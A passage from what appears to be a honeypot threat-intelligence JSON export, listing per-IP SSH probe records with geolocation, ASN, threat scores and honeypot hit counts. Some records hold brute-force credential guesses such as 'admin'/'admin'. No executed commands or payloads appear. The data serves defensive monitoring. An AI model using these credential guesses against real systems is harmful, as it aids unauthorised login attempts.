      "score_components": {
        "frequency": 14.8,
        "persistence": 8.3,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 10,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-22T15:19:08+00:00",
        "last_seen_30d": "2026-03-31T23:23:17.968000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Honeytrap": 7,
        "Cowrie": 6,
        "Dionaea": 1
      }
    },
    "14.103.118.120": {
      "attack_count": 5,
      "first_seen": "2026-03-20T00:01:57.925Z",
      "last_seen": "2026-03-20T00:03:57.927Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "rootuser"
      ],
      "passwords_attempted": [
        "1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T00:01:57.925000+00:00",
        "last_seen_30d": "2026-03-20T00:14:00.518000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "45.84.107.172": {
      "attack_count": 5,
      "first_seen": "2026-03-09T20:33:05.605Z",
      "last_seen": "2026-03-09T20:33:12.259Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "support"
      ],
      "passwords_attempted": [
        "ItsemoemoWashere2025support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 73.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.8,
        "persistence": 21.7,
        "diversity": 16,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 26,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T16:33:07+00:00",
        "last_seen_30d": "2026-03-27T12:44:07.870000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 93,
        "Honeytrap": 26,
        "Ciscoasa": 15,
        "H0neytr4p": 11,
        "Cowrie": 5
      }
    },
    "135.237.125.201": {
      "attack_count": 4,
      "first_seen": "2026-03-28T09:35:19.680Z",
      "last_seen": "2026-03-28T09:35:30.270Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 38.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-14T08:30:03.309000+00:00",
        "last_seen_30d": "2026-03-28T09:36:36.446000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "146.190.241.52": {
      "attack_count": 4,
      "first_seen": "2026-03-15T13:02:37.301Z",
      "last_seen": "2026-03-15T13:02:45.302Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 40.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.0,
        "persistence": 10.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 13,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-15T02:56:08.756000+00:00",
        "last_seen_30d": "2026-03-27T13:53:37.626000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "147.185.132.153": {
      "attack_count": 4,
      "first_seen": "2026-03-10T22:26:43.071Z",
      "last_seen": "2026-03-10T22:26:46.142Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 30,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T01:36:13+00:00",
        "last_seen_30d": "2026-03-31T02:02:23.031000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 31,
        "Miniprint": 9,
        "Cowrie": 4,
        "Dionaea": 2,
        "Dicompot": 1,
        "Honeyaml": 1
      }
    },
    "198.235.24.71": {
      "attack_count": 4,
      "first_seen": "2026-03-29T04:15:28.019Z",
      "last_seen": "2026-03-29T04:15:31.632Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 125,
        "days_active_30d": 30,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T00:49:09+00:00",
        "last_seen_30d": "2026-03-31T08:34:56.891000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 33,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "206.168.34.204": {
      "attack_count": 4,
      "first_seen": "2026-03-21T09:32:02.600Z",
      "last_seen": "2026-03-21T09:32:17.602Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 9.2,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 11,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-11T03:54:19.393000+00:00",
        "last_seen_30d": "2026-03-21T09:33:24.698000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Redishoneypot": 6,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "46.191.141.152": {
      "attack_count": 4,
      "first_seen": "2026-03-03T18:28:50.457Z",
      "last_seen": "2026-03-10T23:26:29.100Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Ufa",
      "asn": 24955,
      "as_org": "JSC Ufanet",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:28:50.457000+00:00",
        "last_seen_30d": "2026-03-10T23:36:29.229000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "66.132.224.229": {
      "attack_count": 4,
      "first_seen": "2026-03-25T20:41:31.642Z",
      "last_seen": "2026-03-25T20:41:46.934Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 45.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.8,
        "persistence": 5.0,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 6,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-25T20:41:31.642000+00:00",
        "last_seen_30d": "2026-03-30T20:55:07.160000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Honeytrap": 6,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "91.218.16.112": {
      "attack_count": 4,
      "first_seen": "2026-03-06T17:20:24.468Z",
      "last_seen": "2026-03-08T08:44:54.801Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Rostov-on-Don",
      "asn": 48882,
      "as_org": "Optima-Shid LLC",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T17:20:24.468000+00:00",
        "last_seen_30d": "2026-03-08T08:45:55.525000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "101.47.22.26": {
      "attack_count": 3,
      "first_seen": "2026-03-31T16:27:20.554Z",
      "last_seen": "2026-03-31T16:28:22.621Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T16:27:20.554000+00:00",
        "last_seen_30d": "2026-03-31T16:29:30.618000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "46.31.76.145": {
      "attack_count": 3,
      "first_seen": "2026-03-02T07:41:15.824Z",
      "last_seen": "2026-03-02T07:42:22.380Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 207459,
      "as_org": "Teknosos Bilisim Hizmetleri Ve Tic. Ltd. Sti.",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:41:15.824000+00:00",
        "last_seen_30d": "2026-03-02T07:43:31.616000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "101.71.37.206": {
      "attack_count": 2,
      "first_seen": "2026-03-18T05:27:19.586Z",
      "last_seen": "2026-03-18T05:27:32.763Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T05:27:19.586000+00:00",
        "last_seen_30d": "2026-03-18T05:28:36.652000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.28.194.234": {
      "attack_count": 2,
      "first_seen": "2026-03-24T17:48:24.246Z",
      "last_seen": "2026-03-24T17:48:37.149Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T17:48:24.246000+00:00",
        "last_seen_30d": "2026-03-24T17:49:38.778000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.255.250.104": {
      "attack_count": 2,
      "first_seen": "2026-03-04T07:09:30.244Z",
      "last_seen": "2026-03-04T07:09:36.100Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:09:30.244000+00:00",
        "last_seen_30d": "2026-03-04T07:10:45.238000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "117.251.207.149": {
      "attack_count": 2,
      "first_seen": "2026-03-27T12:00:58.496Z",
      "last_seen": "2026-03-27T12:01:12.255Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T12:00:58.496000+00:00",
        "last_seen_30d": "2026-03-27T12:02:17.496000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.147.220.27": {
      "attack_count": 2,
      "first_seen": "2026-03-19T13:35:34.369Z",
      "last_seen": "2026-03-19T13:35:47.235Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwangsan-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T13:35:34.369000+00:00",
        "last_seen_30d": "2026-03-19T13:36:51.236000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "136.143.144.226": {
      "attack_count": 2,
      "first_seen": "2026-03-16T13:05:51.675Z",
      "last_seen": "2026-03-16T13:06:25.858Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Moses Lake",
      "asn": 13370,
      "as_org": "Ziply Fiber",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T13:05:51.675000+00:00",
        "last_seen_30d": "2026-03-16T13:07:31.120000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "138.197.188.4": {
      "attack_count": 2,
      "first_seen": "2026-03-09T01:59:00.913Z",
      "last_seen": "2026-03-09T01:59:21.239Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.3,
        "persistence": 3.3,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 4,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-08T17:15:37.428000+00:00",
        "last_seen_30d": "2026-03-11T18:02:51.617000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Honeytrap": 17,
        "Cowrie": 2
      }
    },
    "147.185.132.69": {
      "attack_count": 2,
      "first_seen": "2026-03-07T15:16:37.991Z",
      "last_seen": "2026-03-07T15:17:08.897Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 145,
        "days_active_30d": 30,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T18:46:35.355000+00:00",
        "last_seen_30d": "2026-03-31T13:21:00.440000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 104,
        "Honeytrap": 38,
        "Cowrie": 2,
        "ConPot": 1
      }
    },
    "176.99.101.93": {
      "attack_count": 2,
      "first_seen": "2026-03-02T09:18:17.301Z",
      "last_seen": "2026-03-02T09:18:30.178Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Simferopol",
      "asn": 208397,
      "as_org": "Infostroy LLC",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T09:18:17.301000+00:00",
        "last_seen_30d": "2026-03-02T09:19:37.590000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.234.209.102": {
      "attack_count": 2,
      "first_seen": "2026-03-25T08:58:49.163Z",
      "last_seen": "2026-03-25T08:58:49.513Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": null,
      "asn": 52468,
      "as_org": "UFINET PANAMA S.A.",
      "threat_score": 33.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 2.5,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 3,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-25T08:58:49.163000+00:00",
        "last_seen_30d": "2026-03-27T21:18:02.955000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Honeytrap": 4,
        "Cowrie": 2
      }
    },
    "198.235.24.204": {
      "attack_count": 2,
      "first_seen": "2026-03-16T19:00:49.921Z",
      "last_seen": "2026-03-16T19:00:50.228Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 29,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T05:34:47+00:00",
        "last_seen_30d": "2026-03-31T09:51:58.591000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 17,
        "Cowrie": 2,
        "Dionaea": 1,
        "Tanner": 1
      }
    },
    "218.154.181.71": {
      "attack_count": 2,
      "first_seen": "2026-03-18T05:38:32.854Z",
      "last_seen": "2026-03-18T05:38:47.109Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jinju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T05:38:32.854000+00:00",
        "last_seen_30d": "2026-03-18T05:39:52.467000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.108.251.59": {
      "attack_count": 2,
      "first_seen": "2026-03-06T21:00:02.185Z",
      "last_seen": "2026-03-06T21:00:15.296Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yangcheon-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T21:00:02.185000+00:00",
        "last_seen_30d": "2026-03-06T21:01:21+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.0.98.1": {
      "attack_count": 2,
      "first_seen": "2026-03-11T17:22:43.755Z",
      "last_seen": "2026-03-11T17:22:57.839Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": null,
      "asn": 8374,
      "as_org": "Polkomtel Sp. z o.o.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T17:22:43.755000+00:00",
        "last_seen_30d": "2026-03-11T17:24:06.516000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.183.100.253": {
      "attack_count": 2,
      "first_seen": "2026-03-27T23:12:57.495Z",
      "last_seen": "2026-03-27T23:13:11.438Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Amritsar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T23:12:57.495000+00:00",
        "last_seen_30d": "2026-03-27T23:14:16.537000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "65.49.1.232": {
      "attack_count": 2,
      "first_seen": "2026-03-15T12:40:23.449Z",
      "last_seen": "2026-03-15T12:40:25.596Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
